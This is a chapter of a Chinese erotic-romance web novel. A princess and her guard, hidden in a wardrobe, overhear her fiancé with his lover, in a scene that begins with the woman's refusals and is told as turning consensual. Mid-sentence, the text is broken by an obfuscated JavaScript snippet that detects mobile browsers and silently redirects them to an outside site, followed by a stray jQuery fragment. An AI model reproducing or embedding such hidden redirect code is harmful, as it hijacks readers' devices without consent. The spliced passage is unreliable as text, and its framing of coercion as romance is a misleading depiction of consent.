30. 衣衫不整
作品:《成为限制文亡国公主后》 两人的姿势太过贴近,纪珣也微微蹙起了眉。
他试图让自己与云惜拉开距离,但她趴得不稳,稍稍松手,便会当场摔出柜子,他只能屈起长腿,一手揽住她的腰,将人固定在怀里。
少女的体温很暖和,像一颗火炭似的,贴在他身上,显得格外炙热,她的衣裙也湿了大半,布料勾勒出姣好的身形,在黑暗中的雪白肌肤,十分惹眼。
云惜似乎是觉得这个姿势不太舒服,动了动身体,想往里面挪。
柔软触感在腹间摩擦,纪珣眸子一凝,不由分说地按住:“殿下,别乱动。”
感受到对方胸腔的震动,云惜的脸颊热得冒气,她不敢再动,怕自己掉出去。
两人维持着这个姿势,而外头的人仍在吵架。
“阿萝,你要信我,我不想娶柔嘉公主,这是皇上和我爹的意思。”
听到这句话,云惜不禁侧过脸,想从缝隙中看到外面的场景,但她只看到了两人的衣摆,一绿一白。
外面的人是……谢照?
云惜讶异,不由地瞪大双眼。
没想到找了半天的人,竟然会以这样的方式遇见。
从方才的话来看,谢照也不想娶她,而且……外面那绿裙女子,似乎是他的意中人。
云惜抬眼,撞入纪珣的视线,他也正认真地听着,一缕光线正好打在他的金面上,容颜清绝。
纪珣察觉到她的视线,眼瞳转动,修长手指抵在她唇间,示意她不要说话。
没过一会儿,外面女人的哭声停了,雨声也逐渐变小。
“你说你一直喜欢我,你拿什么来证明?如今皇上心意已决,说什么也没用了。”
谢照的声音有些着急:“你难道感觉不到我喜欢你吗?一年前我便说要去你家提亲,可你非要考验我,一直等到现在。我到底该怎么做,阿萝,我对你是真心的。”
“我这辈子对其他女人都没有兴趣,只有你能牵动我的心。你不信,现在我就证明给你看。”
“啊!你……你干什么,快放开我……”
外头传来一阵嘈杂的声音,衣料摩擦,四处碰撞,没过一会儿,一阵奇怪的声音响起。
“阿萝,我喜欢你。别再拒绝我了,好不好?”
“放开我!不要……啊!”
男人急促的呼唤和女人谴责的叫声掺杂,随后逐渐发生转变。
木柜里的云惜愣住了,没想到自己这么一躲,竟然撞见了……
不愧是限制文,走到哪里都离不开这个主题。
不过幸好,这次的主角不是她。
对于谢照有心上人这件事,云惜并不意外,让她惊讶的是,原来谢照并非不行,反而在这种事上格外勇猛,听外面的动静便能猜出。
云惜感觉自己整个脸蛋都快烧起来了,幸好这里光线暗,否则她的脸肯定红成一个苹果了。
她悄悄抬眼瞥了一眼纪珣,发现他依然面无表情,眸中平静无波,对男女情爱之事无甚上心。
云惜暗暗感慨他定力强悍,她长期保持一个姿势,先不说其他,腰已经酸痛得不像话。
她没忍住,悄悄往后挪了挪,想找个舒服的姿势,忽然感觉身后有物什碰到了自己。
记得进来前,这柜子里放了许多扫帚,兴许是进来是不小心弄倒了。
外面的人转移了阵地,从门前到隔壁房间里,声音逐渐远离。
“纪珣。”云惜的声音轻如羽毛,“能不能把后面的扫帚踢开?”
他指尖微滞,喉结滚动,在黑暗中默默偏开目光:“殿下,臣动不了。”
云惜趴着,温热呼吸洒在他胸膛上,忍不住移动双腿:“那我怎么起来?它会戳到我肚子里去的。”
扶在腰间的大手骤然收紧,隐忍着,纪珣闭了闭眼:“等会儿就好了。”
他紧绷着腹部,伤口又开始渗血,云惜感觉一股温热沾上了她的衣裙:“你的伤是不是又裂开了?我都被你弄湿了。”
“……殿下,能不能闭嘴?”
他原来刻薄性子的口癖暴露了一瞬。
这是云惜第一次听到他用这种语气说话:“你为什么凶我?”
她明明是在关心他。
纪珣额头冒细汗,偏过脸,无言沉默。
清甜少女香萦绕在鼻间,他不得不去注意她。仅凭方才的动静,还不足以让他心念动,可是她在他怀里总是不安分。
他是个正常男人,又不是太监。
她为何敢这么大胆肆意地乱动?
常年带着凉意的皮肤此刻也变得燥热,胸膛中升起了一团无名火,让他忍不住扣紧了她的腰身。
“你身体好烫,该不会发烧了吧?”云惜感受到手掌下的身体的异常温度,面露担忧。
她早说了,穿着湿衣裳吹风会着凉,他一开始还不肯脱,现在中招了吧。
傻狗。
云惜调整姿势,抬手摸了摸他的额头,比他平时的体温烫多了。
她有些不舒服,双腿并拢,按住了那扫帚棍。
头顶的男人羽睫微颤,破天荒地面露难色:“殿下,别再动了。”
云惜不知道怎么了,于是便松开了腿,正在此时,外面的人走了。
她一个没忍住,便跌出了木柜。终于呼吸到新鲜空气,她大口喘气,空气中却弥漫着一股奇怪的味道。
等她再抬头时,纪珣已经从木柜中出来,他用半边衣裳捂住伤口,神情恢复平静。
云惜朝柜中望去,发现里面的扫帚摆得整整齐齐,并没有歪倒。
云惜:“……?”
不可能吧。
“那个……你没事吧?”云惜弱弱地问。
“这句话应该臣问殿下才是。”他伸手,将她拉起来,“地上凉,殿下别冷着。”
云惜上下打量他,见他真的没有任何异常,心里不由地松了一口气。
果然,他根本对自己没有感觉。
“那个人,殿下当如何
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247779|180847||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
处置?”他淡淡问。
云惜愣了愣,一时没反应过来:“谁?”
“你的未婚夫。”他语气加重,咬着最后三个字,“未来驸马与旁人偷情,大魏律法该如何惩治?”
云惜回过神,恍然大悟,随后无比随意地说道:“大魏没有相关的律法。随他吧。既然他也有心上人,那再好不过。其实这场姻缘,我们二人都不情愿,成亲之后我也不会碍着一对有情人的。”
片刻缄默后,纪珣道:“……殿下非嫁他不可?”
“嗯。”云惜低头看着自己的肚子,“我需要一个名义上的孩子,来稳住父皇的江山。”
她别无选择。
原著的限制剧情,她尚可利用纪珣来躲避,可这个不行。
“只是一个孩子,驸马是谁都可以?”
“那倒不是。至少也得是有权有势之人。”云惜无奈一笑,“所以我也经常在想,如果我也有搅动政局的能力,或许就不用被别人牵着走了。”
纪珣思忖须臾,道:“所以,殿下想学吗?”
云惜:“……没有人愿意教我,他们都嫌我脑子笨。”
纪珣抿了抿唇,淡淡道:“殿下若想学,臣刚好懂一些政术上的门道。”
什么雅善的圣贤之书,他一向只读其表,言辞上过得去即可。但在这方面,他颇有心得。
毕竟生在大晋皇宫,身为皇子,无时无刻不在与人暗中博弈。他能活着走到太子之位,脚下踩着无数政敌的鲜血。
“你还会这些?”云惜诧异,“我知道你想安慰我,但是也不用这样。”
前半个月,他还是个见了她父皇连话都不答的呆木头,要不是她力保,恐怕脑袋都不知掉了几次。
纪珣:“……”
“随殿下的意,臣只是顺口一提。雨停了,殿下还要去找那个人吗?”
云惜想了想,摇头:“不去了,他正和自己心上人快活,我去了岂不是尴尬。我想回府沐浴。”
经过一番折腾,她和纪珣身上已经滚得脏兮兮,也不方便出去见其他人了。
算算时间,她派出去的锦衣卫应该也打听完谢府宾客的消息了。
于是两人挑着没有人的地方,悄悄出了丞相府,回到公主府马车前。
圆荷一见二人提前出来,连忙上前去迎接,她见两人的衣裳都湿透了,便意识到不对劲。
“是奴婢大意了,忘记给殿下送伞。”
她以为云惜在丞相府内,不会淋到雨才对。
云惜也并未怪她,摆了摆手,有些疲倦地上了马车。
圆荷走近两人,细看到他们衣衫不整,而且身上还有一股奇怪的味道,后知后觉地反应过来,顿时红了脸。
“……”
等纪珣也上马车后,圆荷和车夫对视一眼,眼中浮现不约而同的笑意。
看来他们的确不该去送伞。
幸好没去,否则打搅了殿下和纪侍卫的好事,反倒是他们的过错了。